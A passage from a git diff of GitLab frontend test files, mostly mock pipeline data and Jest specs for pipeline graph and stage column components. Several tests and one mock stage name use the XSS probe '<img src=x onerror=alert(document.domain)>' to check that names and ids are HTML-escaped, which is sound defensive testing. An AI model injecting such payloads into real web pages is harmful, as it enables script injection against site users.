+ status: {
+ __typename: 'DetailedStatus',
+ icon: 'status_success',
+ tooltip: null,
+ hasDetails: true,
+ detailsPath: '/root/abcd-dag/-/pipelines/153',
+ group: 'success',
+ action: null,
+ },
+ needs: {
+ __typename: 'CiJobConnection',
+ nodes: [
+ {
+ __typename: 'CiJob',
+ name: 'build_b',
+ },
+ ],
+ },
+ },
+ ],
+ },
},
- },
+ ],
},
- ],
- },
- ],
- status: {
- icon: 'status_success',
- text: 'passed',
- label: 'passed',
- group: 'success',
- has_details: true,
- details_path: '/root/ci-mock/pipelines/123#deploy',
- favicon:
- '/assets/ci_favicons/favicon_status_success-308b4fc054cdd1b68d0865e6cfb7b02e92e3472f201507418f8eddb74ac11a59.png',
+ },
+ ],
},
- path: '/root/ci-mock/pipelines/123#deploy',
- dropdown_path: '/root/ci-mock/pipelines/123/stage.json?stage=deploy',
- },
- ],
- artifacts: [],
- manual_actions: [
- {
- name: 'deploy to production',
- path: '/root/ci-mock/builds/4166/play',
- playable: false,
},
- ],
+ },
},
- flags: {
- latest: true,
- triggered: false,
- stuck: false,
- yaml_errors: false,
- retryable: false,
- cancelable: false,
+};
+
+export const downstream = {
+ nodes: [
+ {
+ id: 175,
+ iid: '31',
+ path: '/root/elemenohpee/-/pipelines/175',
+ status: {
+ group: 'success',
+ label: 'passed',
+ icon: 'status_success',
+ __typename: 'DetailedStatus',
+ },
+ sourceJob: {
+ name: 'test_c',
+ __typename: 'CiJob',
+ },
+ project: {
+ id: 'gid://gitlab/Project/25',
+ name: 'elemenohpee',
+ fullPath: 'root/elemenohpee',
+ __typename: 'Project',
+ },
+ __typename: 'Pipeline',
+ multiproject: true,
+ },
+ {
+ id: 181,
+ iid: '27',
+ path: '/root/abcd-dag/-/pipelines/181',
+ status: {
+ group: 'success',
+ label: 'passed',
+ icon: 'status_success',
+ __typename: 'DetailedStatus',
+ },
+ sourceJob: {
+ name: 'test_d',
+ __typename: 'CiJob',
+ },
+ project: {
+ id: 'gid://gitlab/Project/23',
+ name: 'abcd-dag',
+ fullPath: 'root/abcd-dag',
+ __typename: 'Project',
+ },
+ __typename: 'Pipeline',
+ multiproject: false,
+ },
+ ],
+};
+
+export const upstream = {
+ id: 161,
+ iid: '24',
+ path: '/root/abcd-dag/-/pipelines/161',
+ status: {
+ group: 'success',
+ label: 'passed',
+ icon: 'status_success',
+ __typename: 'DetailedStatus',
},
- ref: {
- name: 'master',
- path: '/root/ci-mock/tree/master',
- tag: false,
- branch: true,
+ sourceJob: null,
+ project: {
+ id: 'gid://gitlab/Project/23',
+ name: 'abcd-dag',
+ fullPath: 'root/abcd-dag',
+ __typename: 'Project',
},
- commit: {
- id: '798e5f902592192afaba73f4668ae30e56eae492',
- short_id: '798e5f90',
- title: "Merge branch 'new-branch' into 'master'\r",
- created_at: '2017-04-13T10:25:17.000+01:00',
- parent_ids: [
- '54d483b1ed156fbbf618886ddf7ab023e24f8738',
- 'c8e2d38a6c538822e81c57022a6e3a0cfedebbcc',
- ],
- message:
- "Merge branch 'new-branch' into 'master'\r\n\r\nAdd new file\r\n\r\nSee merge request !1",
- author_name: 'Root',
- author_email: 'admin@example.com',
- authored_date: '2017-04-13T10:25:17.000+01:00',
- committer_name: 'Root',
- committer_email: 'admin@example.com',
- committed_date: '2017-04-13T10:25:17.000+01:00',
- author: {
- name: 'Root',
- username: 'root',
- id: 1,
- state: 'active',
- avatar_url: null,
- web_url: 'http://localhost:3000/root',
+ __typename: 'Pipeline',
+ multiproject: true,
+};
+
+export const wrappedPipelineReturn = {
+ data: {
+ project: {
+ pipeline: {
+ id: 'gid://gitlab/Ci::Pipeline/175',
+ iid: '38',
+ downstream: {
+ nodes: [],
+ },
+ upstream: {
+ id: 'gid://gitlab/Ci::Pipeline/174',
+ iid: '37',
+ path: '/root/elemenohpee/-/pipelines/174',
+ status: {
+ group: 'success',
+ label: 'passed',
+ icon: 'status_success',
+ },
+ sourceJob: {
+ name: 'test_c',
+ },
+ project: {
+ id: 'gid://gitlab/Project/25',
+ name: 'elemenohpee',
+ fullPath: 'root/elemenohpee',
+ },
+ },
+ stages: {
+ nodes: [
+ {
+ name: 'build',
+ status: {
+ action: null,
+ },
+ groups: {
+ nodes: [
+ {
+ status: {
+ label: 'passed',
+ group: 'success',
+ icon: 'status_success',
+ },
+ name: 'build_n',
+ size: 1,
+ jobs: {
+ nodes: [
+ {
+ name: 'build_n',
+ scheduledAt: null,
+ needs: {
+ nodes: [],
+ },
+ status: {
+ icon: 'status_success',
+ tooltip: 'passed',
+ hasDetails: true,
+ detailsPath: '/root/elemenohpee/-/jobs/1662',
+ group: 'success',
+ action: {
+ buttonTitle: 'Retry this job',
+ icon: 'retry',
+ path: '/root/elemenohpee/-/jobs/1662/retry',
+ title: 'Retry',
+ },
+ },
+ },
+ ],
+ },
+ },
+ ],
+ },
+ },
+ ],
+ },
+ },
},
- author_gravatar_url: null,
- commit_url:
- 'http://localhost:3000/root/ci-mock/commit/798e5f902592192afaba73f4668ae30e56eae492',
- commit_path: '/root/ci-mock/commit/798e5f902592192afaba73f4668ae30e56eae492',
},
- created_at: '2017-04-13T09:25:18.881Z',
- updated_at: '2017-04-19T14:30:27.561Z',
+};
+
+export const generateResponse = (raw, mockPath) => unwrapPipelineData(mockPath, raw.data);
+
+export const pipelineWithUpstreamDownstream = base => {
+ const pip = { ...base };
+ pip.data.project.pipeline.downstream = downstream;
+ pip.data.project.pipeline.upstream = upstream;
+
+ return generateResponse(pip, 'root/abcd-dag');
};
diff --git a/spec/frontend/pipelines/graph/mock_data_legacy.js b/spec/frontend/pipelines/graph/mock_data_legacy.js
new file mode 100644
index 00000000000..a4a5d78f906
--- /dev/null
+++ b/spec/frontend/pipelines/graph/mock_data_legacy.js
@@ -0,0 +1,261 @@
+export default {
+ id: 123,
+ user: {
+ name: 'Root',
+ username: 'root',
+ id: 1,
+ state: 'active',
+ avatar_url: null,
+ web_url: 'http://localhost:3000/root',
+ },
+ active: false,
+ coverage: null,
+ path: '/root/ci-mock/pipelines/123',
+ details: {
+ status: {
+ icon: 'status_success',
+ text: 'passed',
+ label: 'passed',
+ group: 'success',
+ has_details: true,
+ details_path: '/root/ci-mock/pipelines/123',
+ favicon:
+ '/assets/ci_favicons/favicon_status_success-308b4fc054cdd1b68d0865e6cfb7b02e92e3472f201507418f8eddb74ac11a59.png',
+ },
+ duration: 9,
+ finished_at: '2017-04-19T14:30:27.542Z',
+ stages: [
+ {
+ name: 'test',
+ title: 'test: passed',
+ groups: [
+ {
+ name: 'test',
+ size: 1,
+ status: {
+ icon: 'status_success',
+ text: 'passed',
+ label: 'passed',
+ group: 'success',
+ has_details: true,
+ details_path: '/root/ci-mock/builds/4153',
+ favicon:
+ '/assets/ci_favicons/favicon_status_success-308b4fc054cdd1b68d0865e6cfb7b02e92e3472f201507418f8eddb74ac11a59.png',
+ action: {
+ icon: 'retry',
+ title: 'Retry',
+ path: '/root/ci-mock/builds/4153/retry',
+ method: 'post',
+ },
+ },
+ jobs: [
+ {
+ id: 4153,
+ name: 'test',
+ build_path: '/root/ci-mock/builds/4153',
+ retry_path: '/root/ci-mock/builds/4153/retry',
+ playable: false,
+ created_at: '2017-04-13T09:25:18.959Z',
+ updated_at: '2017-04-13T09:25:23.118Z',
+ status: {
+ icon: 'status_success',
+ text: 'passed',
+ label: 'passed',
+ group: 'success',
+ has_details: true,
+ details_path: '/root/ci-mock/builds/4153',
+ favicon:
+ '/assets/ci_favicons/favicon_status_success-308b4fc054cdd1b68d0865e6cfb7b02e92e3472f201507418f8eddb74ac11a59.png',
+ action: {
+ icon: 'retry',
+ title: 'Retry',
+ path: '/root/ci-mock/builds/4153/retry',
+ method: 'post',
+ },
+ },
+ },
+ ],
+ },
+ ],
+ status: {
+ icon: 'status_success',
+ text: 'passed',
+ label: 'passed',
+ group: 'success',
+ has_details: true,
+ details_path: '/root/ci-mock/pipelines/123#test',
+ favicon:
+ '/assets/ci_favicons/favicon_status_success-308b4fc054cdd1b68d0865e6cfb7b02e92e3472f201507418f8eddb74ac11a59.png',
+ },
+ path: '/root/ci-mock/pipelines/123#test',
+ dropdown_path: '/root/ci-mock/pipelines/123/stage.json?stage=test',
+ },
+ {
+ name: 'deploy <img src=x onerror=alert(document.domain)>',
+ title: 'deploy: passed',
+ groups: [
+ {
+ name: 'deploy to production',
+ size: 1,
+ status: {
+ icon: 'status_success',
+ text: 'passed',
+ label: 'passed',
+ group: 'success',
+ has_details: true,
+ details_path: '/root/ci-mock/builds/4166',
+ favicon:
+ '/assets/ci_favicons/favicon_status_success-308b4fc054cdd1b68d0865e6cfb7b02e92e3472f201507418f8eddb74ac11a59.png',
+ action: {
+ icon: 'retry',
+ title: 'Retry',
+ path: '/root/ci-mock/builds/4166/retry',
+ method: 'post',
+ },
+ },
+ jobs: [
+ {
+ id: 4166,
+ name: 'deploy to production',
+ build_path: '/root/ci-mock/builds/4166',
+ retry_path: '/root/ci-mock/builds/4166/retry',
+ playable: false,
+ created_at: '2017-04-19T14:29:46.463Z',
+ updated_at: '2017-04-19T14:30:27.498Z',
+ status: {
+ icon: 'status_success',
+ text: 'passed',
+ label: 'passed',
+ group: 'success',
+ has_details: true,
+ details_path: '/root/ci-mock/builds/4166',
+ favicon:
+ '/assets/ci_favicons/favicon_status_success-308b4fc054cdd1b68d0865e6cfb7b02e92e3472f201507418f8eddb74ac11a59.png',
+ action: {
+ icon: 'retry',
+ title: 'Retry',
+ path: '/root/ci-mock/builds/4166/retry',
+ method: 'post',
+ },
+ },
+ },
+ ],
+ },
+ {
+ name: 'deploy to staging',
+ size: 1,
+ status: {
+ icon: 'status_success',
+ text: 'passed',
+ label: 'passed',
+ group: 'success',
+ has_details: true,
+ details_path: '/root/ci-mock/builds/4159',
+ favicon:
+ '/assets/ci_favicons/favicon_status_success-308b4fc054cdd1b68d0865e6cfb7b02e92e3472f201507418f8eddb74ac11a59.png',
+ action: {
+ icon: 'retry',
+ title: 'Retry',
+ path: '/root/ci-mock/builds/4159/retry',
+ method: 'post',
+ },
+ },
+ jobs: [
+ {
+ id: 4159,
+ name: 'deploy to staging',
+ build_path: '/root/ci-mock/builds/4159',
+ retry_path: '/root/ci-mock/builds/4159/retry',
+ playable: false,
+ created_at: '2017-04-18T16:32:08.420Z',
+ updated_at: '2017-04-18T16:32:12.631Z',
+ status: {
+ icon: 'status_success',
+ text: 'passed',
+ label: 'passed',
+ group: 'success',
+ has_details: true,
+ details_path: '/root/ci-mock/builds/4159',
+ favicon:
+ '/assets/ci_favicons/favicon_status_success-308b4fc054cdd1b68d0865e6cfb7b02e92e3472f201507418f8eddb74ac11a59.png',
+ action: {
+ icon: 'retry',
+ title: 'Retry',
+ path: '/root/ci-mock/builds/4159/retry',
+ method: 'post',
+ },
+ },
+ },
+ ],
+ },
+ ],
+ status: {
+ icon: 'status_success',
+ text: 'passed',
+ label: 'passed',
+ group: 'success',
+ has_details: true,
+ details_path: '/root/ci-mock/pipelines/123#deploy',
+ favicon:
+ '/assets/ci_favicons/favicon_status_success-308b4fc054cdd1b68d0865e6cfb7b02e92e3472f201507418f8eddb74ac11a59.png',
+ },
+ path: '/root/ci-mock/pipelines/123#deploy',
+ dropdown_path: '/root/ci-mock/pipelines/123/stage.json?stage=deploy',
+ },
+ ],
+ artifacts: [],
+ manual_actions: [
+ {
+ name: 'deploy to production',
+ path: '/root/ci-mock/builds/4166/play',
+ playable: false,
+ },
+ ],
+ },
+ flags: {
+ latest: true,
+ triggered: false,
+ stuck: false,
+ yaml_errors: false,
+ retryable: false,
+ cancelable: false,
+ },
+ ref: {
+ name: 'master',
+ path: '/root/ci-mock/tree/master',
+ tag: false,
+ branch: true,
+ },
+ commit: {
+ id: '798e5f902592192afaba73f4668ae30e56eae492',
+ short_id: '798e5f90',
+ title: "Merge branch 'new-branch' into 'master'\r",
+ created_at: '2017-04-13T10:25:17.000+01:00',
+ parent_ids: [
+ '54d483b1ed156fbbf618886ddf7ab023e24f8738',
+ 'c8e2d38a6c538822e81c57022a6e3a0cfedebbcc',
+ ],
+ message:
+ "Merge branch 'new-branch' into 'master'\r\n\r\nAdd new file\r\n\r\nSee merge request !1",
+ author_name: 'Root',
+ author_email: 'admin@example.com',
+ authored_date: '2017-04-13T10:25:17.000+01:00',
+ committer_name: 'Root',
+ committer_email: 'admin@example.com',
+ committed_date: '2017-04-13T10:25:17.000+01:00',
+ author: {
+ name: 'Root',
+ username: 'root',
+ id: 1,
+ state: 'active',
+ avatar_url: null,
+ web_url: 'http://localhost:3000/root',
+ },
+ author_gravatar_url: null,
+ commit_url:
+ 'http://localhost:3000/root/ci-mock/commit/798e5f902592192afaba73f4668ae30e56eae492',
+ commit_path: '/root/ci-mock/commit/798e5f902592192afaba73f4668ae30e56eae492',
+ },
+ created_at: '2017-04-13T09:25:18.881Z',
+ updated_at: '2017-04-19T14:30:27.561Z',
+};
diff --git a/spec/frontend/pipelines/graph/stage_column_component_legacy_spec.js b/spec/frontend/pipelines/graph/stage_column_component_legacy_spec.js
new file mode 100644
index 00000000000..463e4c12c7d
--- /dev/null
+++ b/spec/frontend/pipelines/graph/stage_column_component_legacy_spec.js
@@ -0,0 +1,135 @@
+import { shallowMount } from '@vue/test-utils';
+import StageColumnComponentLegacy from '~/pipelines/components/graph/stage_column_component_legacy.vue';
+
+describe('stage column component', () => {
+ const mockJob = {
+ id: 4250,
+ name: 'test',
+ status: {
+ icon: 'status_success',
+ text: 'passed',
+ label: 'passed',
+ group: 'success',
+ details_path: '/root/ci-mock/builds/4250',
+ action: {
+ icon: 'retry',
+ title: 'Retry',
+ path: '/root/ci-mock/builds/4250/retry',
+ method: 'post',
+ },
+ },
+ };
+
+ let wrapper;
+
+ beforeEach(() => {
+ const mockGroups = [];
+ for (let i = 0; i < 3; i += 1) {
+ const mockedJob = { ...mockJob };
+ mockedJob.id += i;
+ mockGroups.push(mockedJob);
+ }
+
+ wrapper = shallowMount(StageColumnComponentLegacy, {
+ propsData: {
+ title: 'foo',
+ groups: mockGroups,
+ hasTriggeredBy: false,
+ },
+ });
+ });
+
+ it('should render provided title', () => {
+ expect(
+ wrapper
+ .find('.stage-name')
+ .text()
+ .trim(),
+ ).toBe('foo');
+ });
+
+ it('should render the provided groups', () => {
+ expect(wrapper.findAll('.builds-container > ul > li').length).toBe(
+ wrapper.props('groups').length,
+ );
+ });
+
+ describe('jobId', () => {
+ it('escapes job name', () => {
+ wrapper = shallowMount(StageColumnComponentLegacy, {
+ propsData: {
+ groups: [
+ {
+ id: 4259,
+ name: '<img src=x onerror=alert(document.domain)>',
+ status: {
+ icon: 'status_success',
+ label: 'success',
+ tooltip: '<img src=x onerror=alert(document.domain)>',
+ },
+ },
+ ],
+ title: 'test',
+ hasTriggeredBy: false,
+ },
+ });
+
+ expect(wrapper.find('.builds-container li').attributes('id')).toBe(
+ 'ci-badge-&lt;img src=x onerror=alert(document.domain)&gt;',
+ );
+ });
+ });
+
+ describe('with action', () => {
+ it('renders action button', () => {
+ wrapper = shallowMount(StageColumnComponentLegacy, {
+ propsData: {
+ groups: [
+ {
+ id: 4259,
+ name: '<img src=x onerror=alert(document.domain)>',
+ status: {
+ icon: 'status_success',
+ label: 'success',
+ tooltip: '<img src=x onerror=alert(document.domain)>',
+ },
+ },
+ ],
+ title: 'test',
+ hasTriggeredBy: false,
+ action: {
+ icon: 'play',
+ title: 'Play all',
+ path: 'action',
+ },
+ },
+ });
+
+ expect(wrapper.find('.js-stage-action').exists()).toBe(true);
+ });
+ });
+
+ describe('without action', () => {
+ it('does not render action button', () => {
+ wrapper = shallowMount(StageColumnComponentLegacy, {
+ propsData: {
+ groups: [
+ {
+ id: 4259,
+ name: '<img src=x onerror=alert(document.domain)>',
+ status: {
+ icon: 'status_success',
+ label: 'success',
+ tooltip: '<img src=x onerror=alert(document.domain)>',
+ },
+ },
+ ],
+ title: 'test',
+ hasTriggeredBy: false,
+ },
+ });
+
+ expect(wrapper.find('.js-stage-action').exists()).toBe(false);
+ });
+ });
+});
diff --git a/spec/frontend/pipelines/graph/stage_column_component_spec.js b/spec/frontend/pipelines/graph/stage_column_component_spec.js
index d32534326c5..44803929f6d 100644
--- a/spec/frontend/pipelines/graph/stage_column_component_spec.js
+++ b/spec/frontend/pipelines/graph/stage_column_component_spec.js
@@ -1,64 +1,101 @@
-import { shallowMount } from '@vue/test-utils';
+import { mount, shallowMount } from '@vue/test-utils';
+import ActionComponent from '~/pipelines/components/graph/action_component.vue';
+import JobItem from '~/pipelines/components/graph/job_item.vue';
+import StageColumnComponent from '~/pipelines/components/graph/stage_column_component.vue';
-import stageColumnComponent from '~/pipelines/components/graph/stage_column_component.vue';
-
-describe('stage column component', () => {
- const mockJob = {
- id: 4250,
- name: 'test',
- status: {
- icon: 'status_success',
- text: 'passed',
- label: 'passed',
- group: 'success',
- details_path: '/root/ci-mock/builds/4250',
- action: {
- icon: 'retry',
- title: 'Retry',
- path: '/root/ci-mock/builds/4250/retry',
- method: 'post',
- },
+const mockJob = {
+ id: 4250,
+ name: 'test',
+ status: {
+ icon: 'status_success',
+ text: 'passed',
+ label: 'passed',
+ group: 'success',
+ details_path: '/root/ci-mock/builds/4250',
+ action: {
+ icon: 'retry',
+ title: 'Retry',
+ path: '/root/ci-mock/builds/4250/retry',
+ method: 'post',
},
- };
+ },
+};
+const mockGroups = Array(4)
+ .fill(0)
+ .map((item, idx) => {
+ return { ...mockJob, id: idx, name: `fish-${idx}` };
+ });
+
+const defaultProps = {
+ title: 'Fish',
+ groups: mockGroups,
+};
+
+describe('stage column component', () => {
let wrapper;
- beforeEach(() => {
- const mockGroups = [];
- for (let i = 0; i < 3; i += 1) {
- const mockedJob = { ...mockJob };
- mockedJob.id += i;
- mockGroups.push(mockedJob);
- }
+ const findStageColumnTitle = () => wrapper.find('[data-testid="stage-column-title"]');
+ const findStageColumnGroup = () => wrapper.find('[data-testid="stage-column-group"]');
+ const findAllStageColumnGroups = () => wrapper.findAll('[data-testid="stage-column-group"]');
+ const findJobItem = () => wrapper.find(JobItem);
+ const findActionComponent = () => wrapper.find(ActionComponent);
- wrapper = shallowMount(stageColumnComponent, {
+ const createComponent = ({ method = shallowMount, props = {} } = {}) => {
+ wrapper = method(StageColumnComponent, {
propsData: {
- title: 'foo',
- groups: mockGroups,
- hasTriggeredBy: false,
+ ...defaultProps,
+ ...props,
},
});
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
});
- it('should render provided title', () => {
- expect(
- wrapper
- .find('.stage-name')
- .text()
- .trim(),
- ).toBe('foo');
+ describe('when mounted', () => {
+ beforeEach(() => {
+ createComponent({ method: mount });
+ });
+
+ it('should render provided title', () => {
+ expect(findStageColumnTitle().text()).toBe(defaultProps.title);
+ });
+
+ it('should render the provided groups', () => {
+ expect(findAllStageColumnGroups().length).toBe(mockGroups.length);
+ });
});
- it('should render the provided groups', () => {
- expect(wrapper.findAll('.builds-container > ul > li').length).toBe(
- wrapper.props('groups').length,
- );
+ describe('when job notifies action is complete', () => {
+ beforeEach(() => {
+ createComponent({
+ method: mount,
+ props: {
+ groups: [
+ {
+ title: 'Fish',
+ size: 1,
+ jobs: [mockJob],
+ },
+ ],
+ },
+ });
+ findJobItem().vm.$emit('pipelineActionRequestComplete');
+ });
+
+ it('emits refreshPipelineGraph', () => {
+ expect(wrapper.emitted().refreshPipelineGraph).toHaveLength(1);
+ });
});
- describe('jobId', () => {
- it('escapes job name', () => {
- wrapper = shallowMount(stageColumnComponent, {
- propsData: {
+ describe('job', () => {
+ beforeEach(() => {
+ createComponent({
+ method: mount,
+ props: {
groups: [
{
id: 4259,
@@ -70,21 +107,29 @@ describe('stage column component', () => {
},
},
],
- title: 'test',
- hasTriggeredBy: false,
+ title: 'test <img src=x onerror=alert(document.domain)>',
},
});
+ });
- expect(wrapper.find('.builds-container li').attributes('id')).toBe(
+ it('capitalizes and escapes name', () => {
+ expect(findStageColumnTitle().text()).toBe(
+ 'Test &lt;img src=x onerror=alert(document.domain)&gt;',
+ );
+ });
+
+ it('escapes id', () => {
+ expect(findStageColumnGroup().attributes('id')).toBe(
'ci-badge-&lt;img src=x onerror=alert(document.domain)&gt;',
);
});
});
describe('with action', () => {
- it('renders action button', () => {
- wrapper = shallowMount(stageColumnComponent, {
- propsData: {
+ beforeEach(() => {
+ createComponent({
+ method: mount,
+ props: {
groups: [
{
id: 4259,
@@ -105,15 +150,18 @@ describe('stage column component', () => {
},
},
});
+ });
- expect(wrapper.find('.js-stage-action').exists()).toBe(true);
+ it('renders action button', () => {
+ expect(findActionComponent().exists()).toBe(true);
});
});
describe('without action', () => {
- it('does not render action button', () => {
- wrapper = shallowMount(stageColumnComponent, {
- propsData: {
+ beforeEach(() => {
+ createComponent({
+ method: mount,
+ props: {
groups: [
{
id: 4259,
@@ -129,8 +177,10 @@ describe('stage column component', () => {
hasTriggeredBy: false,
},
});
+ });
- expect(wrapper.find('.js-stage-action').exists()).toBe(false);
+ it('does not render action button', () => {
+ expect(findActionComponent().exists()).toBe(false);
});
});
});
diff --git a/spec/frontend/pipelines/pipeline_graph/gitlab_ci_yaml_visualization_spec.js b/spec/frontend/pipelines/pipeline_graph/gitlab_ci_yaml_visualization_spec.js
deleted file mode 100644
index fea42350959..00000000000
--- a/spec/frontend/pipelines/pipeline_graph/gitlab_ci_yaml_visualization_spec.js
+++ /dev/null
@@ -1,47 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import { GlTab } from '@gitlab/ui';
-import { yamlString } from './mock_data';
-import PipelineGraph from '~/pipelines/components/pipeline_graph/pipeline_graph.vue';
-import GitlabCiYamlVisualization from '~/pipelines/components/pipeline_graph/gitlab_ci_yaml_visualization.vue';
-
-describe('gitlab yaml visualization component', () => {
- const defaultProps = { blobData: yamlString };
- let wrapper;
-
- const createComponent = props => {
- return shallowMount(GitlabCiYamlVisualization, {
- propsData: {
- ...defaultProps,
- ...props,
- },
- });
- };
-
- const findGlTabComponents = () => wrapper.findAll(GlTab);
- const findPipelineGraph = () => wrapper.find(PipelineGraph);
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
- describe('tabs component', () => {
- beforeEach(() => {
- wrapper = createComponent();
- });
-
- it('renders the file and visualization tabs', () => {
- expect(findGlTabComponents()).toHaveLength(2);
- });
- });
-
- describe('graph component', () => {
- beforeEach(() => {
- wrapper = createComponent();
- });
-
- it('is hidden by default', () => {
- expect(findPipelineGraph().exists()).toBe(false);
- });
- });
-});
diff --git a/spec/frontend/pipelines/pipeline_graph/mock_data.js b/spec/frontend/pipelines/pipeline_graph/mock_data.js
index 4f55fdd6b28..a77973b293c 100644
--- a/spec/frontend/pipelines/pipeline_graph/mock_data.js
+++ b/spec/frontend/pipelines/pipeline_graph/mock_data.js
@@ -1,4 +1,4 @@
-import { createUniqueJobId } from '~/pipelines/utils';
+import { createUniqueLinkId } from '~/pipelines/utils';
export const yamlString = `stages:
- empty
@@ -41,10 +41,10 @@ deploy_a:
script: echo hello
`;
-const jobId1 = createUniqueJobId('build', 'build_1');
-const jobId2 = createUniqueJobId('test', 'test_1');
-const jobId3 = createUniqueJobId('test', 'test_2');
-const jobId4 = createUniqueJobId('deploy', 'deploy_1');
+const jobId1 = createUniqueLinkId('build', 'build_1');
+const jobId2 = createUniqueLinkId('test', 'test_1');
+const jobId3 = createUniqueLinkId('test', 'test_2');
+const jobId4 = createUniqueLinkId('deploy', 'deploy_1');
export const pipelineData = {
stages: [
diff --git a/spec/frontend/pipelines/pipeline_graph/pipeline_graph_spec.js b/spec/frontend/pipelines/pipeline_graph/pipeline_graph_spec.js
index 7c8ebc27974..6704ee06c1a 100644
--- a/spec/frontend/pipelines/pipeline_graph/pipeline_graph_spec.js
+++ b/spec/frontend/pipelines/pipeline_graph/pipeline_graph_spec.js
@@ -1,5 +1,8 @@
import { shallowMount } from '@vue/test-utils';
+import { GlAlert } from '@gitlab/ui';
import { pipelineData, singleStageData } from './mock_data';
+import { CI_CONFIG_STATUS_INVALID } from '~/pipeline_editor/constants';
+import { DRAW_FAILURE, EMPTY_PIPELINE_DATA, INVALID_CI_CONFIG } from '~/pipelines/constants';
import PipelineGraph from '~/pipelines/components/pipeline_graph/pipeline_graph.vue';
import StagePill from '~/pipelines/components/pipeline_graph/stage_pill.vue';
import JobPill from '~/pipelines/components/pipeline_graph/job_pill.vue';
@@ -8,15 +11,16 @@ describe('pipeline graph component', () => {
const defaultProps = { pipelineData };
let wrapper;
- const createComponent = props => {
+ const createComponent = (props = defaultProps) => {
return shallowMount(PipelineGraph, {
propsData: {
- ...defaultProps,
...props,
},
});
};
+ const findPipelineGraph = () => wrapper.find('[data-testid="graph-container"]');
+ const findAlert = () => wrapper.find(GlAlert);
const findAllStagePills = () => wrapper.findAll(StagePill);
const findAllStageBackgroundElements = () => wrapper.findAll('[data-testid="stage-background"]');
const findStageBackgroundElementAt = index => findAllStageBackgroundElements().at(index);
@@ -33,54 +37,92 @@ describe('pipeline graph component', () => {
});
it('renders an empty section', () => {
- expect(wrapper.text()).toContain(
- 'The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax.',
- );
+ expect(wrapper.text()).toBe(wrapper.vm.$options.warningTexts[EMPTY_PIPELINE_DATA]);
+ expect(findPipelineGraph().exists()).toBe(false);
expect(findAllStagePills()).toHaveLength(0);
expect(findAllJobPills()).toHaveLength(0);
});
});
- describe('with data', () => {
+ describe('with `INVALID` status', () => {
+ beforeEach(() => {
+ wrapper = createComponent({ pipelineData: { status: CI_CONFIG_STATUS_INVALID } });
+ });
+
+ it('renders an error message and does not render the graph', () => {
+ expect(findAlert().exists()).toBe(true);
+ expect(findAlert().text()).toBe(wrapper.vm.$options.warningTexts[INVALID_CI_CONFIG]);
+ expect(findPipelineGraph().exists()).toBe(false);
+ });
+ });
+
+ describe('without `INVALID` status', () => {
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+
+ it('renders the graph with no status error', () => {
+ expect(findAlert().text()).not.toBe(wrapper.vm.$options.warningTexts[INVALID_CI_CONFIG]);
+ expect(findPipelineGraph().exists()).toBe(true);
+ });
+ });
+
+ describe('with error while rendering the links', () => {
beforeEach(() => {
wrapper = createComponent();
});
+ it('renders the error that link could not be drawn', () => {
+ expect(findAlert().exists()).toBe(true);
+ expect(findAlert().text()).toBe(wrapper.vm.$options.errorTexts[DRAW_FAILURE]);
+ });
+ });
+
+ describe('with only one stage', () => {
+ beforeEach(() => {
+ wrapper = createComponent({ pipelineData: singleStageData });
+ });
+
it('renders the right number of stage pills', () => {
- const expectedStagesLength = pipelineData.stages.length;
+ const expectedStagesLength = singleStageData.stages.length;
expect(findAllStagePills()).toHaveLength(expectedStagesLength);
});
- it.each`
- cssClass | expectedState
- ${'gl-rounded-bottom-left-6'} | ${true}
- ${'gl-rounded-top-left-6'} | ${true}
- ${'gl-rounded-top-right-6'} | ${false}
- ${'gl-rounded-bottom-right-6'} | ${false}
- `(
- 'rounds corner: $class should be $expectedState on the first element',
- ({ cssClass, expectedState }) => {
+ it('renders the right number of job pills', () => {
+ // We count the number of jobs in the mock data
+ const expectedJobsLength = singleStageData.stages.reduce((acc, val) => {
+ return acc + val.groups.length;
+ }, 0);
+
+ expect(findAllJobPills()).toHaveLength(expectedJobsLength);
+ });
+
+ describe('rounds corner', () => {
+ it.each`
+ cssClass | expectedState
+ ${'gl-rounded-bottom-left-6'} | ${true}
+ ${'gl-rounded-top-left-6'} | ${true}
+ ${'gl-rounded-top-right-6'} | ${true}
+ ${'gl-rounded-bottom-right-6'} | ${true}
+ `('$cssClass should be $expectedState on the only element', ({ cssClass, expectedState }) => {
const classes = findStageBackgroundElementAt(0).classes();
expect(classes.includes(cssClass)).toBe(expectedState);
- },
- );
-
- it.each`
- cssClass | expectedState
- ${'gl-rounded-bottom-left-6'} | ${false}
- ${'gl-rounded-top-left-6'} | ${false}
- ${'gl-rounded-top-right-6'} | ${true}
- ${'gl-rounded-bottom-right-6'} | ${true}
- `(
- 'rounds corner: $class should be $expectedState on the last element',
- ({ cssClass, expectedState }) => {
- const classes = findStageBackgroundElementAt(pipelineData.stages.length - 1).classes();
+ });
+ });
+ });
- expect(classes.includes(cssClass)).toBe(expectedState);
- },
- );
+ describe('with multiple stages and jobs', () => {
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+
+ it('renders the right number of stage pills', () => {
+ const expectedStagesLength = pipelineData.stages.length;
+
+ expect(findAllStagePills()).toHaveLength(expectedStagesLength);
+ });
it('renders the right number of job pills', () => {
// We count the number of jobs in the mock data
@@ -90,26 +132,34 @@ describe('pipeline graph component', () => {
expect(findAllJobPills()).toHaveLength(expectedJobsLength);
});
- });
- describe('with only one stage', () => {
- beforeEach(() => {
- wrapper = createComponent({ pipelineData: singleStageData });
- });
+ describe('rounds corner', () => {
+ it.each`
+ cssClass | expectedState
+ ${'gl-rounded-bottom-left-6'} | ${true}
+ ${'gl-rounded-top-left-6'} | ${true}
+ ${'gl-rounded-top-right-6'} | ${false}
+ ${'gl-rounded-bottom-right-6'} | ${false}
+ `(
+ '$cssClass should be $expectedState on the first element',
+ ({ cssClass, expectedState }) => {
+ const classes = findStageBackgroundElementAt(0).classes();
+
+ expect(classes.includes(cssClass)).toBe(expectedState);
+ },
+ );
- it.each`
- cssClass | expectedState
- ${'gl-rounded-bottom-left-6'} | ${true}
- ${'gl-rounded-top-left-6'} | ${true}
- ${'gl-rounded-top-right-6'} | ${true}
- ${'gl-rounded-bottom-right-6'} | ${true}
- `(
- 'rounds corner: $class should be $expectedState on the only element',
- ({ cssClass, expectedState }) => {
- const classes = findStageBackgroundElementAt(0).classes();
+ it.each`
+ cssClass | expectedState
